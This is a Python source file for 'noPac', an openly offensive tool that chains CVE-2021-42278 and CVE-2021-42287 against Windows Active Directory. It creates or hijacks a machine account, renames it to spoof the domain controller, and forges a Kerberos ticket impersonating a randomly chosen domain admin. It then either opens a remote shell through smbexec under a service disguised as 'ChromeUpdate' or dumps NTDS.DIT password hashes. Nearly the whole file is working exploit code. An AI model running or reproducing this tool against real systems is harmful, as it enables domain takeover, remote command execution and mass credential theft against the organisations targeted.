noPac.py

#!/usr/bin/env python
#coding: utf-8
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

from impacket import version
from impacket.examples import logger
from impacket.examples.utils import parse_credentials


import argparse
import logging
import sys
import string
import random
import ssl
import os
from binascii import unhexlify
from ldap3.utils.log import log
import ldapdomaindump
import ldap3
import time

from utils.helper import *
from utils.addcomputer import AddComputerSAMR
from utils.S4U2self import GETST
from utils.smbexec import CMDEXEC
from utils.secretsdump import DumpSecrets

characters = list(string.ascii_letters + string.digits + "!@#$%^&*()")

def banner():
    return """
███    ██  ██████  ██████   █████   ██████ 
████   ██ ██    ██ ██   ██ ██   ██ ██      
██ ██  ██ ██    ██ ██████  ███████ ██      
██  ██ ██ ██    ██ ██      ██   ██ ██      
██   ████  ██████  ██      ██   ██  ██████ 
                                           
                                        
    """

def exploit(dcfull,adminticket,options):
    if options.shell or options.dump:
        logging.info("Pls make sure your choice hostname and the -dc-ip are same machine !!")
        logging.info('Exploiting..')
    # export KRB5CCNAME
    os.environ["KRB5CCNAME"] = adminticket
    if options.shell:
        try:
            executer = CMDEXEC('', '', domain, None, None, True, options.dc_ip,
                            options.mode, options.share, int(options.port), options.service_name, options.shell_type, options.codec)
            executer.run(dcfull, options.dc_ip)
        except Exception as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
    if options.dump:
        try:
            options.k = True
            options.target_ip = options.dc_ip
            options.system = options.bootkey = options.security = options.system = options.ntds = options.sam = options.resumefile = options.outputfile = None
            dumper = DumpSecrets(dcfull, '', '',
                            domain, options)
            dumper.dump()
        except Exception as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))

def samtheadmin(username, password, domain, options):
    if options.no_add and not options.new_name:
        logging.error(f'Net input a target with `-new-name` !')
        return
    if options.new_name:
        new_computer_name = options.new_name
    else:
        new_computer_name = 'WIN-'+''.join(random.sample(string.ascii_letters + string.digits, 11)).upper()

    if options.old_hash:
        if ":" not in options.old_hash:
            logging.error("Hash format error.")
            return
        options.old_pass = options.old_hash
    if options.old_pass:
        new_computer_password = options.old_pass
    elif options.new_pass:
        new_computer_password = options.new_pass
    else:
        new_computer_password = ''.join(random.choice(characters) for _ in range(12))

    domain, username, password, lmhash, nthash = parse_identity(options)
    ldap_server, ldap_session = init_ldap_session(options, domain, username, password, lmhash, nthash)

    cnf = ldapdomaindump.domainDumpConfig()
    cnf.basepath = None
    domain_dumper = ldapdomaindump.domainDumper(ldap_server, ldap_session, cnf)
    MachineAccountQuota = 10
    # check MAQ and options
    for i in domain_dumper.getDomainPolicy():
        MachineAccountQuota = int(str(i['ms-DS-MachineAccountQuota']))

    if MachineAccountQuota < 1 and not options.no_add and not options.create_child:
        logging.error(f'Cannot exploit , ms-DS-MachineAccountQuota {MachineAccountQuota}')
        return
    else:
        logging.info(f'Current ms-DS-MachineAccountQuota = {MachineAccountQuota}')

    dn = get_user_info(new_computer_name, ldap_session, domain_dumper)
    if dn and options.no_add:
        logging.info(f'{new_computer_name} already exists! Using force mode.')
        if not options.old_pass:
            if options.use_ldap:
                logging.error(f'Modify password need ldaps !')
                return
            ldap_session.extend.microsoft.modify_password(str(dn['dn']), new_computer_password)
            if ldap_session.result['result'] == 0:
                logging.info(f'Modify password successfully, host: {new_computer_name} password: {new_computer_password}')
            else:
                logging.error('Cannot change the machine password , exit.')
                return
    elif options.no_add and not dn:
        logging.error(f'Target {new_computer_name} not exists!')
        return
    elif dn:
        logging.error(f'Account {new_computer_name} already exists!')
        return 

    if options.dc_host:
        dc_host = options.dc_host.upper()
        dcfull = f'{dc_host}.{domain}'
        dn = get_user_info(dc_host+"$", ldap_session, domain_dumper)
        if not dn:
            logging.error(f'Machine not found in LDAP: {dc_host}')
            return
    else:
        dcinfo = get_dc_host(ldap_session, domain_dumper,options)
        if len(dcinfo)== 0:
            logging.error("Cannot get domain info")
            exit()
        c_key = 0
        dcs = list(dcinfo.keys())
        if len(dcs) > 1:
            logging.info('We have more than one target, Pls choices the hostname of the -dc-ip you input.')
            cnt = 0
            for name in dcs:
                logging.info(f"{cnt}: {name}")
                cnt += 1
            while True:
                try:
                    c_key = int(input(">>> Your choice: "))
                    if c_key in range(len(dcs)):
                        break
                except Exception:
                    pass
        dc_host = dcs[c_key].lower()
        dcfull = dcinfo[dcs[c_key]]['dNSHostName'].lower()
    logging.info(f'Selected Target {dcfull}')
    if options.impersonate:
        domain_admin = options.impersonate
    else:
        domainAdmins = get_domain_admins(ldap_session, domain_dumper)
        logging.info(f'Total Domain Admins {len(domainAdmins)}')
        domain_admin = random.choice(domainAdmins)
    
    logging.info(f'will try to impersonat {domain_admin}')
    adminticket = str(f'{domain_admin}_{dcfull}.ccache')
    if os.path.exists(adminticket):
        logging.info(f'Alreay have user {domain_admin} ticket for target {dcfull}')
        exploit(dcfull,adminticket,options)
        return

    if not options.no_add:
        logging.info(f'Adding Computer Account "{new_computer_name}"')
        logging.info(f'MachineAccount "{new_computer_name}" password = {new_computer_password}')

        # Creating Machine Account
        addmachineaccount = AddComputerSAMR(
            username, 
            password, 
            domain, 
            options,
            computer_name=new_computer_name,
            computer_pass=new_computer_password)
        addmachineaccount.run()


    # CVE-2021-42278
    new_machine_dn = None
    dn = get_user_info(new_computer_name, ldap_session, domain_dumper)
    if dn:
        new_machine_dn = str(dn['dn'])
        logging.info(f'{new_computer_name} object = {new_machine_dn}')

    if new_machine_dn:
        ldap_session.modify(new_machine_dn, {'sAMAccountName': [ldap3.MODIFY_REPLACE, [dc_host]]})
        if ldap_session.result['result'] == 0:
            logging.info(f'{new_computer_name} sAMAccountName == {dc_host}')
        else:
            logging.error('Cannot rename the machine account , target patched')
            if not options.no_add:
                del_added_computer(ldap_session, domain_dumper,new_computer_name)
            return
    else:
        return

    # make hash none, we don't need id now.
    options.hashes = None
    
    # Getting a ticke
    try:
        getting_tgt = GETTGT(dc_host, new_computer_password, domain, options)
        getting_tgt.run()
    except Exception as e:
        logging.error(f"GetTGT error, error: {e}")
         # Restoring Old Values when get TGT error.
        logging.info(f"Resting the machine account to {new_computer_name}")
        dn = get_user_info(dc_host, ldap_session, domain_dumper)
        ldap_session.modify(str(dn['dn']), {'sAMAccountName': [ldap3.MODIFY_REPLACE, [new_computer_name]]})
        if ldap_session.result['result'] == 0:
            logging.info(f'Restored {new_computer_name} sAMAccountName to original value')
        else:
            logging.error('Cannot restore the old name lol')
        return

    dcticket = str(dc_host + '.ccache')

    # Restoring Old Values
    logging.info(f"Resting the machine account to {new_computer_name}")
    dn = get_user_info(dc_host, ldap_session, domain_dumper)
    ldap_session.modify(str(dn['dn']), {'sAMAccountName': [ldap3.MODIFY_REPLACE, [new_computer_name]]})
    if ldap_session.result['result'] == 0:
        logging.info(f'Restored {new_computer_name} sAMAccountName to original value')
    else:
        logging.error('Cannot restore the old name lol')

    os.environ["KRB5CCNAME"] = dcticket
    executer = GETST(None, None, domain, options,
        impersonate_target=domain_admin,
        target_spn=f"cifs/{dcfull}")
    executer.run()
    logging.info(f'Remove ccache of {dcfull}')
    os.remove(dcticket)
    logging.info(f'Rename ccache with target ...')
    os.rename(f'{domain_admin}.ccache',adminticket)
    # Delete domain computer we just added.
    if not options.no_add:
        del_added_computer(ldap_session, domain_dumper,new_computer_name)
    exploit(dcfull,adminticket,options)


if __name__ == '__main__':
    print(banner())

    parser = argparse.ArgumentParser(add_help = True, description = "SAM THE ADMIN CVE-2021-42278 + CVE-2021-42287 chain")

    parser.add_argument('account', action='store', metavar='[domain/]username[:password]', help='Account used to authenticate to DC.')
    parser.add_argument('--impersonate', action="store", help='target username that will be impersonated (thru S4U2Self)'
                                                              ' for quering the ST. Keep in mind this will only work if '
                                                              'the identity provided in this scripts is allowed for '
                                                              'delegation to the SPN specified')

    parser.add_argument('-domain-netbios', action='store', metavar='NETBIOSNAME', help='Domain NetBIOS name. Required if the DC has multiple domains.')
    parser.add_argument('-new-name', action='store', metavar='NEWNAME', help='Target computer name, if not specified, will be random generated.')
    parser.add_argument('-new-pass', action='store', metavar='PASSWORD', help='Add new computer password, if not specified, will be random generated.')
    parser.add_argument('-old-pass', action='store', metavar='PASSWORD', help='Target computer password, use if you know the password of the target you input with -new-name.')
    parser.add_argument('-old-hash', action='store', metavar='LMHASH:NTHASH', help='Target computer hashes, use if you know the hash of the target you input with -new-name.')
    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
    parser.add_argument('-ts', action='store_true', help='Adds timestamp to every logging output')
    parser.add_argument('-shell', action='store_true', help='Drop a shell via smbexec')
    parser.add_argument('-no-add', action='store_true', help='Forcibly change the password of the target computer.')
    parser.add_argument('-create-child', action='store_true', help='Current account have permission to CreateChild.')
    parser.add_argument('-dump', action='store_true', help='Dump Hashs via secretsdump')

    group = parser.add_argument_group('authentication')
    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
                                                       '(KRB5CCNAME) based on account parameters. If valid credentials '
                                                       'cannot be found, it will use the ones specified in the command '
                                                       'line')
    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
                                                                            '(128 or 256 bits)')
    group.add_argument('-dc-host', action='store',metavar = "hostname",  help='Hostname of the domain controller to use. '
                                                                              'If ommited, the domain part (FQDN) '
                                                                              'specified in the account parameter will be used')
    group.add_argument('-dc-ip', action='store',metavar = "ip",  help='IP of the domain controller to use. '
                                                                      'Useful if you can\'t translate the FQDN.'
                                                                      'specified in the account parameter will be used')
    parser.add_argument('-use-ldap', action='store_true', help='Use LDAP instead of LDAPS')


    exec =  parser.add_argument_group('execute options')
    exec.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
                       help='Destination port to connect to SMB Server')
    exec.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE',
                        help='mode to use (default SHARE, SERVER needs root!)')
    exec.add_argument('-share', action='store', default='ADMIN$', help='share where the output will be grabbed from (default ADMIN$)')
    exec.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose '
                        'a command processor for the semi-interactive shell')
    exec.add_argument('-codec', action='store', default='GBK', help='Sets encoding used (codec) from the target\'s output (default "GBK").')
    exec.add_argument('-service-name', action='store', metavar="service_name", default = "ChromeUpdate", help='The name of the'
                                         'service used to trigger the payload')

    dumper =  parser.add_argument_group('dump options')
    dumper.add_argument('-just-dc-user', action='store', metavar='USERNAME',
                       help='Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. '
                            'Implies also -just-dc switch')
    dumper.add_argument('-just-dc', action='store_true', default=False,
                        help='Extract only NTDS.DIT data (NTLM hashes and Kerberos keys)')
    dumper.add_argument('-just-dc-ntlm', action='store_true', default=False,
                       help='Extract only NTDS.DIT data (NTLM hashes only)')
    dumper.add_argument('-pwd-last-set', action='store_true', default=False,
                       help='Shows pwdLastSet attribute for each NTDS.DIT account. Doesn\'t apply to -outputfile data')
    dumper.add_argument('-user-status', action='store_true', default=False,
                        help='Display whether or not the user is disabled')
    dumper.add_argument('-history', action='store_true', help='Dump password history, and LSA secrets OldVal')
    dumper.add_argument('-resumefile', action='store', help='resume file name to resume NTDS.DIT session dump (only '
                         'available to DRSUAPI approach). This file will also be used to keep updating the session\'s '
                         'state')
    dumper.add_argument('-use-vss', action='store_true', default=False,
                        help='Use the VSS method insead of default DRSUAPI')
    dumper.add_argument('-exec-method', choices=['smbexec', 'wmiexec', 'mmcexec'], nargs='?', default='smbexec', help='Remote exec '
                        'method to use at target (only when using -use-vss). Default: smbexec')



    if len(sys.argv)==1:
        parser.print_help()
        sys.exit(1)

    options = parser.parse_args()

    # Init the example's logger theme
    logger.init(options.ts)
    if options.debug is True:
        logging.getLogger().setLevel(logging.DEBUG)
        # Print the Library's installation path
        logging.debug(version.getInstallationPath())
    else:
        logging.getLogger().setLevel(logging.INFO)

    domain, username, password = parse_credentials(options.account)

    if options.just_dc_user is not None:
        if options.use_vss is True:
            logging.error('-just-dc-user switch is not supported in VSS mode')
            sys.exit(1)
        elif options.resumefile is not None:
            logging.error('resuming a previous NTDS.DIT dump session not compatible with -just-dc-user switch')
            sys.exit(1)
        else:
            # Having this switch on implies not asking for anything else.
            options.just_dc = True

    if options.use_vss is True and options.resumefile is not None:
        logging.error('resuming a previous NTDS.DIT dump session is not supported in VSS mode')
        sys.exit(1)

    try:
        if domain is None or domain == '':
            logging.error('Domain should be specified!')
            sys.exit(1)

        if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
            from getpass import getpass
            password = getpass("Password:")

        if options.aesKey is not None:
            options.k = True


        samtheadmin(username, password, domain, options)
    except ldap3.core.exceptions.LDAPBindError as e:
        logging.error(f"Pls check your account. Error: {e}")
    except ldap3.core.exceptions.LDAPSocketOpenError as e:
         logging.error(f"If ssl error, add `-use-ldap` parameter to connect with ldap. Error: {e}")
    except Exception as e:
        if logging.getLogger().level == logging.DEBUG:
            import traceback
            traceback.print_exc()
        logging.error(e)